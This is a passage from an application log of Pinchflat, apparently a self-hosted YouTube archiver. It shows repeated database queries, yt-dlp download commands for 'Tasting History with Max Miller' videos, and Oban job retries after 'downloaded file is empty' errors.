s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:33.650 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:33.650 [debug] Running yt-dlp command for action: get_downloadable_status 03:30:33.651 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:33.651 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:33.651 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:33.651 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/97/ab/97abdf14dab053154e3552b275edd0bd9f8413587ca17acb8e154a01e37893fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:30:37.628 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/97/ab/97abdf14dab053154e3552b275edd0bd9f8413587ca17acb8e154a01e37893fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:30:37.628 [debug] Running yt-dlp command for action: download 03:30:37.628 [debug] QUERY OK source="settings" db=0.1ms idle=293.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:37.629 [debug] QUERY OK source="settings" db=0.0ms idle=237.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:37.629 [debug] QUERY OK source="settings" db=0.1ms idle=237.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:37.629 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/16/d7/16d7f14d0474dfccbae0296a1f2ad41a76e5a92cab0211b3135dd267856d8025.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:30:47.743 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.037 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:31:11.509 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/32/0b/320b8196a41e1bef6028868673a62f8b854bb3f5e3d443e89f321f8683c8cbc2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:31:11.509 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:31:11.510 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":443866789,"event":"job:exception","queue_time":154773604,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:31:11.517 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774942271517251954,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:31:11.517 [debug] QUERY OK source="media_items" db=0.1ms idle=125.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:31:11.517 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:31:11.518 [debug] QUERY OK source="sources" db=0.1ms idle=126.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:31:11.518 [debug] QUERY OK source="media_profiles" db=0.1ms idle=126.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:31:11.519 [debug] QUERY OK source="media_items" db=0.3ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:31:11.519 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:31:11.520 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:31:11.520 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:11.520 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:11.521 [debug] Running yt-dlp command for action: get_downloadable_status 03:31:11.521 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:11.521 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:11.522 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:11.522 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7b/2b/7b2b9dbed8ade70916a97d3bcd6c15129aefb61c7a1b5fa7bb1769458222230e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:31:15.195 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/7b/2b/7b2b9dbed8ade70916a97d3bcd6c15129aefb61c7a1b5fa7bb1769458222230e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:31:15.195 [debug] Running yt-dlp command for action: download 03:31:15.196 [debug] QUERY OK source="settings" db=0.1ms idle=1804.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:15.196 [debug] QUERY OK source="settings" db=0.1ms idle=1804.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:15.196 [debug] QUERY OK source="settings" db=0.1ms idle=1804.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:31:15.196 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ac/38/ac38abd6dc1262202cf0c1293aff14ef7c527739c45e513557a20c489084811b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:31:17.745 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:47.746 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.039 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:32:17.748 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:47.750 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.039 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:33:17.751 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:47.753 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.040 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:34:17.754 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:47.755 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.041 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:35:17.756 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:47.757 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.042 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:36:17.759 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:39.761 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ac/38/ac38abd6dc1262202cf0c1293aff14ef7c527739c45e513557a20c489084811b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:36:39.761 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 03:36:39.762 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":328244914,"event":"job:exception","queue_time":6876361,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:36:39.769 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774942599769253740,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:36:39.769 [debug] QUERY OK source="media_items" db=0.1ms idle=377.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 03:36:39.769 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:36:39.770 [debug] QUERY OK source="sources" db=0.2ms idle=378.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:36:39.770 [debug] QUERY OK source="media_profiles" db=0.1ms idle=378.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:36:39.771 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 03:36:39.771 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 03:36:39.771 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:36:39.772 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:39.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:39.772 [debug] Running yt-dlp command for action: get_downloadable_status 03:36:39.773 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:39.773 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:39.773 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:39.773 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/81/7a/817add8ff48fae1819eac8c126149690e20a2158dea4a6e64e3c786bb554e151.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:36:43.737 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/81/7a/817add8ff48fae1819eac8c126149690e20a2158dea4a6e64e3c786bb554e151.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:36:43.737 [debug] Running yt-dlp command for action: download 03:36:43.738 [debug] QUERY OK source="settings" db=0.1ms idle=867.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:43.738 [debug] QUERY OK source="settings" db=0.0ms idle=346.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:43.738 [debug] QUERY OK source="settings" db=0.0ms idle=346.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:43.738 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6a/38/6a385403b36c5dfe8e6d72421062fdc8356cf086e595c849d6c69e0465639d83.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:36:47.760 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:54.996 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S 